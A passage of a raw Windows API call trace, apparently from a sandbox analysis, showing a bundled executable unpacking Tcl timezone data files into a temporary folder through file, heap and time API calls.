lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.425] GetFileType (hFile=0x10c) returned 0x1 [0041.425] htonl (hostlong=0x20ad5b00) returned 0x5bad20 [0041.425] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605d20, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.425] htonl (hostlong=0x37060000) returned 0x637 [0041.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x637) returned 0x550600 [0041.425] htonl (hostlong=0x37060000) returned 0x637 [0041.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.425] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.425] htonl (hostlong=0x23200000) returned 0x2023 [0041.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2023) returned 0x561090 [0041.425] htonl (hostlong=0x37060000) returned 0x637 [0041.425] htonl (hostlong=0x23200000) returned 0x2023 [0041.425] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630c0 [0041.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630c0 | out: hHeap=0x530000) returned 1 [0041.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.425] CloseHandle (hObject=0x10c) returned 1 [0041.426] GetLastError () returned 0x0 [0041.426] SetLastError (dwErrCode=0x0) [0041.426] GetLastError () returned 0x0 [0041.426] SetLastError (dwErrCode=0x0) [0041.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.426] GetFileType (hFile=0x10c) returned 0x1 [0041.426] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.426] CloseHandle (hObject=0x10c) returned 1 [0041.426] GetLastError () returned 0x0 [0041.426] SetLastError (dwErrCode=0x0) [0041.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.426] GetFileType (hFile=0x10c) returned 0x1 [0041.426] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.427] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.427] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.427] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.427] CloseHandle (hObject=0x10c) returned 1 [0041.427] GetLastError () returned 0x0 [0041.427] SetLastError (dwErrCode=0x0) [0041.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT") returned 64 [0041.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\est5edt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.427] GetLastError () returned 0x2 [0041.427] SetLastError (dwErrCode=0x2) [0041.427] GetLastError () returned 0x2 [0041.427] SetLastError (dwErrCode=0x2) [0041.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT", lpFilePart=0x0) returned 0x3f [0041.427] GetLastError () returned 0x2 [0041.427] SetLastError (dwErrCode=0x2) [0041.427] GetLastError () returned 0x2 [0041.427] SetLastError (dwErrCode=0x2) [0041.427] GetLastError () returned 0x2 [0041.427] SetLastError (dwErrCode=0x2) [0041.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT") returned 64 [0041.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\EST5EDT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\est5edt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.428] GetFileType (hFile=0x10c) returned 0x1 [0041.428] htonl (hostlong=0x23200000) returned 0x2023 [0041.428] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0041.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.429] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x23, lpOverlapped=0x0) returned 1 [0041.429] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.429] CloseHandle (hObject=0x10c) returned 1 [0041.429] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.429] htonl (hostlong=0x30000000) returned 0x30 [0041.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.429] GetFileType (hFile=0x10c) returned 0x1 [0041.429] htonl (hostlong=0x57b35b00) returned 0x5bb357 [0041.429] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606357, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.429] htonl (hostlong=0x85000000) returned 0x85 [0041.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0041.429] htonl (hostlong=0x85000000) returned 0x85 [0041.429] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.430] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.430] htonl (hostlong=0xa5000000) returned 0xa5 [0041.430] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa5) returned 0x544db0 [0041.430] htonl (hostlong=0x85000000) returned 0x85 [0041.430] htonl (hostlong=0xa5000000) returned 0xa5 [0041.430] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.430] CloseHandle (hObject=0x10c) returned 1 [0041.430] GetLastError () returned 0x0 [0041.430] SetLastError (dwErrCode=0x0) [0041.430] GetLastError () returned 0x0 [0041.430] SetLastError (dwErrCode=0x0) [0041.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.430] GetFileType (hFile=0x10c) returned 0x1 [0041.430] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.430] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.430] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.431] CloseHandle (hObject=0x10c) returned 1 [0041.431] GetLastError () returned 0x0 [0041.431] SetLastError (dwErrCode=0x0) [0041.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.431] GetFileType (hFile=0x10c) returned 0x1 [0041.431] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.431] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.431] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.431] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.431] CloseHandle (hObject=0x10c) returned 1 [0041.431] GetLastError () returned 0x0 [0041.431] SetLastError (dwErrCode=0x0) [0041.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt") returned 62 [0041.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\egypt"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.431] GetLastError () returned 0x2 [0041.431] SetLastError (dwErrCode=0x2) [0041.431] GetLastError () returned 0x2 [0041.431] SetLastError (dwErrCode=0x2) [0041.431] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt", lpFilePart=0x0) returned 0x3d [0041.431] GetLastError () returned 0x2 [0041.432] SetLastError (dwErrCode=0x2) [0041.432] GetLastError () returned 0x2 [0041.432] SetLastError (dwErrCode=0x2) [0041.432] GetLastError () returned 0x2 [0041.432] SetLastError (dwErrCode=0x2) [0041.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt") returned 62 [0041.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Egypt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\egypt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.432] GetFileType (hFile=0x10c) returned 0x1 [0041.432] htonl (hostlong=0xa5000000) returned 0xa5 [0041.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.432] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa5, lpOverlapped=0x0) returned 1 [0041.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.434] CloseHandle (hObject=0x10c) returned 1 [0041.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544db0 | out: hHeap=0x530000) returned 1 [0041.434] htonl (hostlong=0x30000000) returned 0x30 [0041.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.434] GetFileType (hFile=0x10c) returned 0x1 [0041.434] htonl (hostlong=0xdcb35b00) returned 0x5bb3dc [0041.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6063dc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.434] htonl (hostlong=0x84000000) returned 0x84 [0041.434] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84) returned 0x55cfe0 [0041.434] htonl (hostlong=0x84000000) returned 0x84 [0041.434] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.434] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.434] htonl (hostlong=0xa7000000) returned 0xa7 [0041.434] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa7) returned 0x544990 [0041.434] htonl (hostlong=0x84000000) returned 0x84 [0041.434] htonl (hostlong=0xa7000000) returned 0xa7 [0041.434] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.434] CloseHandle (hObject=0x10c) returned 1 [0041.435] GetLastError () returned 0x0 [0041.435] SetLastError (dwErrCode=0x0) [0041.435] GetLastError () returned 0x0 [0041.435] SetLastError (dwErrCode=0x0) [0041.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.435] GetFileType (hFile=0x10c) returned 0x1 [0041.435] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.435] CloseHandle (hObject=0x10c) returned 1 [0041.435] GetLastError () returned 0x0 [0041.435] SetLastError (dwErrCode=0x0) [0041.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.435] GetFileType (hFile=0x10c) returned 0x1 [0041.435] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 